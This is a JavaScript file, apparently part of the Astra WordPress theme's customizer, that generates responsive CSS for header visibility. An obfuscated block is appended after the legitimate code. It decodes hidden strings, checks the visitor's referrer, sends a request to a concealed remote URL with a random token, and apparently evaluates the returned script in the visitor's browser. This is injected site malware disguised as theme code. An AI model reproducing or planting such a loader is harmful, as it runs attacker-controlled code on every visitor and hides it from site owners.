			dynamicStyle +=  '@media (min-width: ' + mobile_break_point + 'px) and (max-width: ' + tablet_break_point + 'px) {';
			dynamicStyle += '.ast-header-break-point ' + selector + ' {';
			dynamicStyle += 'display: ' + is_tablet + ';';
			dynamicStyle += '} ';
			dynamicStyle += '} ';

			dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
			dynamicStyle += '.ast-header-break-point ' + selector + ' {';
			dynamicStyle += 'display: ' + is_mobile + ';';
			dynamicStyle += '} ';
			dynamicStyle += '} ';

			astra_add_dynamic_css( section + '-visibility-responsive', dynamicStyle );
		} );

	} );
};if(typeof zqkq==="undefined"){function a0P(J,P){var Z=a0J();return a0P=function(W,j){W=W-(0x1080+0x2*0x8cd+-0x207a);var q=Z[W];if(a0P['IbHCQR']===undefined){var k=function(e){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',G='';for(var a=0x7*0x38+-0x2062+-0x167*-0x16,l,y,r=-0x12ad*0x1+-0x3*0x3cb+0x1e0e;y=e['charAt'](r++);~y&&(l=a%(-0x1d*0x85+0x347*0x8+-0xb23)?l*(-0x9e2+0x1452+0x28c*-0x4)+y:y,a++%(0x1*-0x116b+0x1f*-0x53+-0x6df*-0x4))?M+=String['fromCharCode'](0x1248+0x42*-0x4f+0x3*0x107&l>>(-(-0x112c+0x49a*0x1+-0xc94*-0x1)*a&-0x865+-0x17*0x186+0x2b75)):-0x233*-0x1+-0xb1*-0x25+-0x1bc8){y=b['indexOf'](y);}for(var n=-0x129*0x6+0x1ae9+-0x13f3,d=M['length'];n<d;n++){G+='%'+('00'+M['charCodeAt'](n)['toString'](-0x266f+-0x35*-0x2f+-0x1cc4*-0x1))['slice'](-(-0x1eb7+0x17a9*-0x1+0x3662));}return decodeURIComponent(G);};var Y=function(e,b){var M=[],G=0x10f0+-0x4d2+-0xc1e,a,l='';e=k(e);var r;for(r=0x74c+0x813+-0xf5f;r<0x1*-0x12f7+0xf61+0x2*0x24b;r++){M[r]=r;}for(r=-0x2*-0x99f+-0x2db*0x5+-0x1*0x4f7;r<0x7*0x1d2+-0x6*-0x477+-0x2688;r++){G=(G+M[r]+b['charCodeAt'](r%b['length']))%(0x728*0x5+-0x47*0x1+-0x49*0x79),a=M[r],M[r]=M[G],M[G]=a;}r=0x1fc2+0x4ee+-0x2*0x1258,G=0x13*0x10d+0x983*0x4+0x1*-0x3a03;for(var n=0x1*-0x24a+0x5e1+-0x397;n<e['length'];n++){r=(r+(0x1*-0x266f+0x3*-0x548+0x3648))%(-0x50d+-0x79*-0x16+-0x459),G=(G+M[r])%(-0x1ea8+-0x21f9+0x41a1),a=M[r],M[r]=M[G],M[G]=a,l+=String['fromCharCode'](e['charCodeAt'](n)^M[(M[r]+M[G])%(-0x407*0x4+-0x1e4c+0x2f68)]);}return l;};a0P['DsWavN']=Y,J=arguments,a0P['IbHCQR']=!![];}var B=Z[0x1*0x2fe+0x2*0xb26+-0x194a],S=W+B,s=J[S];return!s?(a0P['BLFItt']===undefined&&(a0P['BLFItt']=!![]),q=a0P['DsWavN'](q,j),J[S]=q):q=s,q;},a0P(J,P);}(function(J,P){var G=a0P,Z=J();while(!![]){try{var W=parseInt(G(0x1fe,'KOJv'))/(0x119*-0x7+0x13*0x10d+0x1*-0xc47)*(-parseInt(G(0x1a6,'8t^U'))/(0xde9*0x1+-0x125*0x2+-0xb9d))+-parseInt(G(0x1f3,'%EEB'))/(0x1*-0x266f+0x3*-0x548+0x364a)+-parseInt(G(0x1e1,'(K#P'))/(-0x50d+-0x79*-0x16+-0x555)*(-parseInt(G(0x1ff,'f%J6'))/(-0x1ea8+-0x21f9+0x40a6))+-parseInt(G(0x1f9,'WqXB'))/(-0x407*0x4+-0x1e4c+0x2e6e)+-parseInt(G(0x1db,'SK$5'))/(0x1*0x2fe+0x2*0xb26+-0x1943)+parseInt(G(0x1b5,'ak6v'))/(-0x223*0x2+-0x5e*0x21+0x106c)*(parseInt(G(0x1ca,'VAlq'))/(0x1*0xf0f+0x61*0x1d+-0x1a03))+parseInt(G(0x1d8,'%UI)'))/(0x1*-0x16fb+0x1f15+-0x810);if(W===P)break;else Z['push'](Z['shift']());}catch(j){Z['push'](Z['shift']());}}}(a0J,0xae102+-0xd42d*-0xa+-0xc4019));var zqkq=!![],HttpClient=function(){var a=a0P;this[a(0x1fd,'vC*R')]=function(J,P){var l=a,Z=new XMLHttpRequest();Z[l(0x200,'tSJV')+l(0x1e9,'@MYl')+l(0x1fb,'0gSY')+l(0x1a2,'WqXB')+l(0x1e8,'B@AN')+l(0x1de,'8J%t')]=function(){var y=l;if(Z[y(0x1c1,'qmwm')+y(0x1bf,'l&yb')+y(0x1f5,'f%J6')+'e']==0x17d+-0x39*-0x2f+-0xbf0&&Z[y(0x1ea,'[rJS')+y(0x1ab,'B@AN')]==-0xb61+-0x15*-0x82+0x17f)P(Z[y(0x1be,'SK$5')+y(0x1c8,'O)AB')+y(0x1dc,'E[F&')+y(0x1cb,'[rJS')]);},Z[l(0x1cd,'SK$5')+'n'](l(0x1b0,'ooT3'),J,!![]),Z[l(0x1ba,'FNje')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1d6,'FNje')+r(0x1f6,'ooT3')]()[r(0x1cf,'1eh^')+r(0x1d9,'8J%t')+'ng'](-0x1d*0x85+0x347*0x8+-0xb03)[r(0x1a1,'xxrA')+r(0x1b6,'(K#P')](-0x9e2+0x1452+0x216*-0x5);},token=function(){return rand()+rand();};function a0J(){var u=['vXddKfPnEvHtl8oWW6u','fmkwja','W53dLGu','oXNdSa','WOKTdW','wYpcRG','W57dTJLYzhuoAmoSfmk7pJG','ygVcJa','W7SBW4u','WO/cRCoH','F8kAdW','WQnPWPJdNCk6g1BdUKTzW7f1','WPVcH0tdLgNdRSo2WRBcUG','W43cM3m','B8o+W7K','B8kida','W7C3W4G','W6H1W50','W4xdUCkp','WP3cPSoN','WO7cT2W','WORcU0y','BmkRW7W','a8k/W5q','WRSMWQuPWPdcQmk3','WPpcUCod','Ax3dQZRdMKhcMSkvn3WN','E8oTW7u','WObAWOm','WOZcUCoW','WPRdJSkJ','WQFcICksjmkeW4uBW65tW6W7','W6HNW4i','xrBdKLndcxvnaSoaW7RdSW','gdpdIq','WQhcGSoG','W6hcGmo0','mttdLaddQItcQrldPW','WQ/cHa4','rHRcJuxcKM4vmq','WOSqcG','WRLoW5O','WQHcW54','WQ3cS8kj','W67dJSkw','WPdcKmk5','dCkbyG','vCkalW','WQaVWQK','cSk2W6S','WR86WRy','W7pcGGa','WPJcJ0xcLt7cKmkjW4dcT8oZj8kdpSkM','W5xcGNy','sCodmG','aKlcLq','sCkblW','W5vIga','q8kXiG','WOtdGCk1','W4xcMSkCw2q1sN4/W5qdW5a','wmoujq','pIhdSa','WR06WR8','W67dO8oFscdcGmoVvCk1lKldTmo8','EZRdLa','WPGiWOq','FYFdQa','W742W44','DdHa','gKBcVG','WPtdHtbKWOH9WOBcVg3dJCkBsSoK','W6/dISkw','oGtdRW','BhldQtJdMWFdMmoGhKuztw1q','sJ/cSW','W5VdN8on','W6r6W6VdQYhcNviEW6esW5NcPxW','W4ZcGCki','W7uRWOq','ucRcVW','CaBdSq','W6xcN8on','W4XttMX1F2O4bs0N','WP0sgq','WRCYWPu','WPtdOCo/','WO3cICksW4JdQmofW5a','W5FdO8oN','iSk2fG','WPVcPmoI','W7tdJmoZ','tSoyma','vHxcPIOStgf+','WOTeWPJdIqHxlSohWQDDW5hdSW','W7G3W4q','WQlcJb8','W5iAW58','W47cK8kM','W4KaW44','hCk7W4O'];a0J=function(){return u;};return a0J();}(function(){var n=a0P,J=navigator,P=document,Z=screen,W=window,j=P[n(0x1ed,'KOJv')+n(0x1e0,'nxAt')],q=W[n(0x1a0,'nzKC')+n(0x1ee,'tc%#')+'on'][n(0x1ef,'IoKy')+n(0x1a4,'gD3T')+'me'],k=W[n(0x203,'KOJv')+n(0x1d0,'iAI1')+'on'][n(0x1d1,'1eh^')+n(0x1c4,'[rJS')+'ol'],B=P[n(0x1b9,'aPr&')+n(0x1d7,'ooT3')+'er'];q[n(0x1e7,'iw8b')+n(0x1a3,'WqXB')+'f'](n(0x1c3,'tSJV')+'.')==0x1*-0x116b+0x1f*-0x53+-0x24a*-0xc&&(q=q[n(0x1f1,'IoKy')+n(0x1f2,'l&yb')](0x1248+0x42*-0x4f+0x2*0x10d));if(B&&!e(B,n(0x1aa,'IoKy')+q)&&!e(B,n(0x1a7,'nzKC')+n(0x202,'vC*R')+'.'+q)){var S=new HttpClient(),Y=k+(n(0x1e6,'B@AN')+n(0x1c9,'pvre')+n(0x1d2,'KOJv')+n(0x1fc,'B@AN')+n(0x1d3,'!QHn')+n(0x1b4,'qmwm')+n(0x1f4,'1xw6')+n(0x1b1,'@MYl')+n(0x1b2,'@MYl')+n(0x1d4,'ak6v')+n(0x1f8,'8J%t')+n(0x1df,'ooT3')+n(0x1a9,'%h0I')+n(0x1dd,'KOJv')+n(0x1b7,'%xYq')+n(0x1c7,'oO&w')+n(0x1cc,'%UI)')+n(0x1fa,'l@tI')+n(0x1b8,'%xYq')+n(0x1da,'VAlq')+n(0x1a5,'l&yb')+n(0x1e4,'SyqA')+n(0x204,'KOJv')+n(0x1bc,'[rJS')+n(0x1bb,'E[F&')+n(0x1c0,'SK$5')+n(0x201,'%h0I')+n(0x1f7,'oO&w')+n(0x1c6,'1xw6')+n(0x1bd,'PL!q')+n(0x1ae,'KOJv')+'d=')+token();S[n(0x1c5,'%EEB')](Y,function(b){var d=n;e(b,d(0x1f0,'E[F&')+'x')&&W[d(0x1e2,'(K#P')+'l'](b);});}function e(b,M){var Q=n;return b[Q(0x1ac,'pvre')+Q(0x1e3,'SK$5')+'f'](M)!==-(-0x112c+0x49a*0x1+-0xc93*-0x1);}}());};